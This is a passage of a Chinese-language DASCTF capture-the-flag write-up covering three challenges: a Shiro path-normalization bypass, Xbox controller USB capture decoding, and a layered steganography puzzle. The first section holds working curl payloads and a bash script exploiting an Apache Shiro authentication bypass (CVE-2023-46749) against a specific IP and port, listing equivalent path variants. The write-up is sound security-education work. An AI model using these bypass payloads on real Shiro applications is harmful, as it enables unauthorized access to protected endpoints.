Shiro 1.13.0 以 opt-in 的 InvalidRequestFilter(拦截 ;、%2e、/..;、/.; 等)修复。
利用
curl -s --path-as-is http://45.40.247.139:23242/permit/..
# DASCTF{anEasy_CVE_Test}等价 payload:/permit/%2e%2e、/permit/..;、/permit/%2e%2e;、/permit/%2E%2E。
对照组:
curl -s http://45.40.247.139:23242/permit/test # access denied(未绕过)
curl -s --path-as-is http://45.40.247.139:23242/permit%2f.. # 400脚本
#!/bin/bash
# Easy_Bypass (DASCTF web) — Apache Shiro 1.9.0 auth bypass (CVE-2023-46749)
#
# Setup:
# ShiroFilterFactoryBean adds a chain: regex pattern "/permit/.*" -> MyFilter
# MyFilter requires header "Token: FAKE_TOKEN" (otherwise "access denied")
# DemoController maps "/permit/{value}" and returns the flag.
#
# Bypass:
# Shiro's PathMatchingFilterChainResolver computes the path from
# servletPath+pathInfo (Tomcat DECODED + NORMALIZED). Requesting "/permit/.."
# makes Tomcat normalize the servletPath to "/", so the regex "/permit/.*"
# does NOT match and MyFilter is skipped.
# Spring MVC (PathPatternParser mode) instead matches against the RAW
# requestURI "/permit/.." (no normalization, only semicolon removal), which
# matches "/permit/{value}" -> the controller is invoked and returns the flag.
#
# Works with /permit/.. /permit/%2e%2e /permit/..; /permit/%2e%2e;
TARGET="${1:-http://45.40.247.139:23242}"
echo "[*] Target: $TARGET"
echo "[*] Sending GET /permit/.. (Shiro filter bypass via CVE-2023-46749)..."
FLAG=$(curl -s --path-as-is "$TARGET/permit/..")
echo "[*] Response: $FLAG"
if [[ "$FLAG" == DASCTF\{*\} ]]; then
echo "[+] FLAG: $FLAG"
INNER="${FLAG#DASCTF\{}"; INNER="${INNER%\}}"
echo "[+] Inner content: $INNER"
fi
失败尝试
/permit;foo/bar、/permit/bar;foo→access denied(Tomcat 在 Shiro 看到 servletPath 前已剥离字面分号路径参数)。/permit%3bfoo/bar→ 404(Shiro 被跳过,但 Spring raw 段含;无法路由)。/..;/permit/test→ 400(Tomcat 拒绝越出根)。/permit/..;/test→ 404(Tomcat 规范化为/test)。/permit%2fbar→ 400(Tomcat 拒绝编码斜杠)。//permit/test、/permit//test、/permit/%74est→access denied(Shiro 规范化//与%xx后正则仍匹配)。
10. xbox(Web · 100)
Flag: DASCTF{67f69ab190f061c8b475406e9a9c874e}
解法: USBPcap 抓包 → Xbox One 手柄按钮流量 → 去重 → 2 值映射 → ASCII
题面
附件为 Windows USBPcap 抓包(.pcapng),设备为 Microsoft Xbox One 手柄(USB idVendor 0x045e, idProduct 0x02ea)。有效流量为端点 0x82 的 URB_INTERRUPT in 上报流。
报文结构
每个按钮/状态上报(消息类型 0x20)共 18 字节:
20 <cnt_hi> <cnt_lo> 0e <state> 00 00 00 00 00 62 04 38 f5 cd f9 e8 f3- bytes 1–2:大端序逐包递增序号
- byte 3:常量
0x0e - byte 4:输入状态,取
0x00(松开)、0x10/0x20(两个不同按键),是唯一变化的有意义字节 - bytes 5–17:常量
另有少量 0x03 类型上报(guide/序列号),无按键数据。
解码流程
tshark提取所有URB_INTERRUPTpayload。- 对
0x20上报取 byte 4;去掉连续重复值(每个物理按键被重复上报约 3 次)。 - 映射
0x10 → 0、0x20 → 1,得 320 bit 流(40 × 8 bit)。 - 每 8 bit 转一字节:
01000100 01000001 01010011 01000011 01010100 01000110 01111011 ... 01111101
→ DASCTF{67f69ab190f061c8b475406e9a9c874e}脚本
#!/bin/bash
# xbox - DASCTF USB pcap challenge
# Extract Xbox One controller button reports and decode binary flag.
set -e
cd "$(dirname "$0")"
PCAP="xbox_extract/xbox2/XBOX.pcapng"
[ -f "$PCAP" ] || {
unzip -o 2db625a060eca25140846c82bf374fcc.zip -d xbox_extract
unzip -o "xbox_extract/tempdir/MISC附件/XBOX.zip" -d xbox_extract/xbox2
}
# All URB_INTERRUPT frames: frame_no, epoch_time, payload
tshark -r "$PCAP" -Y "usb.transfer_type == 0x01" -T fields \
-e frame.number -e frame.time_epoch -e usb.capdata 2>/dev/null \
| awk -F'\t' '$3 != ""' > interrupt_all.txt
python3 << 'EOF'
rows = []
with open('interrupt_all.txt') as f:
for line in f:
parts = line.rstrip('\n').split('\t')
if len(parts) == 3 and parts[2]:
b = bytes.fromhex(parts[2])
rows.append((float(parts[1]), b[0], b[4]))
# byte0 = report type (0x20 button report, 0x03 guide/serial), byte4 = dpad state
# 0x10 -> bit 0, 0x20 -> bit 1 (consecutive repeated packets deduped)
seq, last = [], None
for t, typ, v in rows:
if typ != 0x20:
continue
if v != last:
if v != 0:
seq.append(v)
last = v
assert all(v in (0x10, 0x20) for v in seq)
bits = ''.join('0' if v == 0x10 else '1' for v in seq)
assert len(bits) % 8 == 0
flag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print("DASCTF flag:", flag)
assert flag.startswith("DASCTF{") and flag.endswith("}")
EOF
失败尝试
- 先假设 XInput 20 字节 Xbox 360 布局 → 检查设备描述符(Xbox One、18 字节报文)+ 逐字节方差分析后修正。
- 尝试将按键持续时间当 Morse/间隙编码 → 按键时长均匀(~50–150ms),确认编码是“按下的值”(2 符号)而非时序。
- 不去重直接 8-bit 分组 → 乱码;去重后修复。
11. Happy Adventure(Misc · 200)
Flag: DASCTF{W0w!_Y0u_F1nD_M4!!!}
解法: aCropalypse(CVE-2023-28303)截图恢复 → ZipCrypto 密码 → base64 污染修复 → QR/TimeKey → RAR5 时间戳隐写
题面
Adventure.zip (ZipCrypto 加密)
First Challenge.png (1248×564,aCropalypse 污染图)多层套娃,共 4 层,每层为不同隐写/密码学手法。
第 1 层:First Challenge.png → aCropalypse 恢复截图
分析
- PNG
IEND之后存在 508,350 字节尾随数据,以IEND\xaeB\x82结尾,内部 8 个IDAT` 块 CRC 全部有效,是裁剪后留下的截图残留(aCropalypse/CVE-2023-28303:Windows 截图工具裁剪后不截断文件)。 - 隐藏 PNG 应为 2560×1440 全屏截图,其头部 ~27.8KB 被破坏(zlib 流起点丢失)。
恢复方法
- deflate 块扫描:在完好 IDAT 中搜索自描述动态 Huffman 块起点(约束极强),流 bit 347064(字节 43383)起存在有效块。
- 预填 32KB 窗口完整 inflate:中间块的 LZ77 窗口引用被毁区输出,预填虚拟窗口后前 32KB 输出可能错、之后全部正确。
- 解出 13.4MB 扫描线,几何匹配 2560 宽 RGBA(1313 行完整),即截图的下半部分。
- PNG 反滤波(全部 filter 0),丢弃全 0 alpha 渲染 RGB →
clean.png(2560×1309)。
截图内容(OCR + 用户肉眼确认)
- 记事本:“密钥等于CVE编号”(关键提示)
- 浏览器:CSDN 文章《CVE-2023-28303(截图漏洞)》(提示 aCropalypse 手法)
- VSCode:Python/tkinter “Select Tool” 代码
- tkinter 窗口:识别困难
结论:第 1 层密码 = CVE-2023-28303。
第 2 层:Adventure.zip(密码 CVE-2023-28303)
| 文件 | 内容 |
|---|---|
Readme.txt |
“小李在地下室寻找到了一台尘封已久的电脑,你能帮他找到开机秘钥吗” |
whatsthis.txt |
4,504 字节 base64 文本(损坏 PNG) |
wow.png |
198×198 QR 码 |
Secret time.zip |
ZipCrypto 加密 |
whatsthis.txt 修复(“Zss010C3 is the obstacle”)
whatsthis.txt 为 base64 编码 PNG,两处损坏:
- 头部被截:缺
iVBORw0K(PNG 签名\x89PNG\r\n的 base64)8 字符。 - 插入污染:字符串
Zss010C3在 base64 文本中被插入 8 次(位置 370/1102/2040/2837/3481/3694/3882/4031)。
wow.png 的 IEND 之后直接给出提示:
why you find it?
Zss010C3 is the obstacle修复:删除全部 8 处 Zss010C3 + 补头 iVBORw0K → whatsthis_fixed.png(240×97 RGBA),所有 chunk CRC 通过,zlib 解压 93,217 字节 = 完整 97 行。
修复后图像三行文字(ASCII 逐行精读):
NOOOOOO!!!!!
YOU FIND Timekey
2144483000wow.png(QR)
Sorry,TimeKey has been hiden by me ,and you never get it!!! ---Vicious Alpha.ext结论:第 2 层密码 = 2144483000(“TimeKey”)。
第 3 层:Secret time.zip(密码 2144483000)
| 文件 | 内容 |
|---|---|
Readme.txt |
“小李在这台古老的电脑中发现了一些崭新的文件,请你来帮他寻找其中的秘密吧” |
DontReadme.txt |
nothing,believe me(干扰项) |
+iͥ.rar |
文件名含组合变音符(GBK 解码为 日誌.rar,即“日志”),RAR5,未加密 |
内含 21 个日志文件:
日志0.txt–日志6.txt:非空(1–7KB),内容为 phpstudy Apache 2.4.39 (Win64) 常规启动日志(AH00098/455/456/094/418/354 六类消息),无 flag 字样 → 幌子。日志7.txt–日志20.txt:全部 0 字节,但mtime=ctime=atime全部为未来时间 2037-12-15 17:43:08 ~ 17:45:23(各文件秒级不同)→ 疑似时间戳隐写。
第 4 层:RAR5 时间戳隐写(最终解)
手写 RAR5 解析器(关键突破口)
标准解析失败后手写解析器,发现该 RAR 由非标准工具生成:
- 文件头正文缺 mtime 字段(头长度核算:35 正文 + 27 扩展区 = 62 字节吻合)。
- 时间全部在 htIME 扩展记录(type 0x03),FILETIME 以原始 8 字节小端存储(非 vint):
26 = 1类型 + 1标志 + 3×8字节吻合。 - 全 6,231 字节解析干净,无附加数据。
关键洞察
上一层密码 2144483000 本身就是 Unix 时间戳 = 2037-12-15 17:43:20,正是空文件“未来日期”的基准点。
解码
每个日志文件的 2037 时间戳(0–6 号取 ctime,7–20 号取 mtime)转 Unix 后减去基准 2144483000,秒偏移即 ASCII,按文件号 0→20 读出:
| 文件 | unix | 偏移 | ASCII | 文件 | unix | 偏移 | ASCII |
|---|---|---|---|---|---|---|---|
| 日志0 | 2144483123 | 123 | { |
日志11 | 2144483049 | 49 | 1 |
| 日志1 | 2144483087 | 87 | W |
日志12 | 2144483110 | 110 | n |
| 日志2 | 2144483048 | 48 | 0 |
日志13 | 2144483068 | 68 | D |
| 日志3 | 2144483119 | 119 | w |
日志14 | 2144483095 | 95 | _ |
| 日志4 | 2144483033 | 33 | ! |
日志15 | 2144483077 | 77 | M |
| 日志5 | 2144483095 | 95 | _ |
日志16 | 2144483052 | 52 | 4 |
| 日志6 | 2144483089 | 89 | Y |
日志17 | 2144483033 | 33 | ! |
| 日志7 | 2144483048 | 48 | 0 |
日志18 | 2144483033 | 33 | ! |
| 日志8 | 2144483117 | 117 | u |
日志19 | 2144483033 | 33 | ! |
| 日志9 | 2144483095 | 95 | _ |
日志20 | 2144483125 | 125 | } |
| 日志10 | 2144483070 | 70 | F |
FLAG:{W0w!_Y0u_F1nD_M4!!!}

(“时间戳重合”现象即重复字符:日志2=7(0)、5=9=14(_)、4=17=18=19(!!!)。)
全链路总结
| 层 | 载体 | 手段 | 产出 |
|---|---|---|---|
| 1 | First Challenge.png | aCropalypse 尾数据 + deflate 块扫描恢复截图 | 密钥提示 → CVE-2023-28303 |
| 2 | Adventure.zip | 解压;whatsthis.txt 修复(补 iVBORw0K 头 + 删 8 处 Zss010C3 插入) |
TimeKey 2144483000 |
| 3 | Secret time.zip | +iͥ.rar(GBK 名“日志”) |
21 个日志文件 |
| 4 | 日志0-20 | RAR5 htIME 时间戳 − Unix 基准 2144483000 → ASCII | {W0w!_Y0u_F1nD_M4!!!} |
失败尝试(过程记录)
- 对 whatsthis.png 污染区做 XOR/RC4(
Zss010C3当密钥),失败,因污染为插入型而非替换型。 - 有状态 deflate 重连解码(符号边界保存 Huffman 状态、尝试尾部重连),污染区掩盖真实边界,最终发现垃圾区与原始流关系无解,转而检查 base64 层。
- bkcrack 明文攻击内层 Readme(外层 Readme 93B 作前缀),动态 Huffman 表使 deflate 前缀不同,失败。
Zss010C3当 PRNG 种子(Python random),失败。- 大图 alpha 通道隐写,alpha 为噪点,排除;wow.png LSB 隐写,无。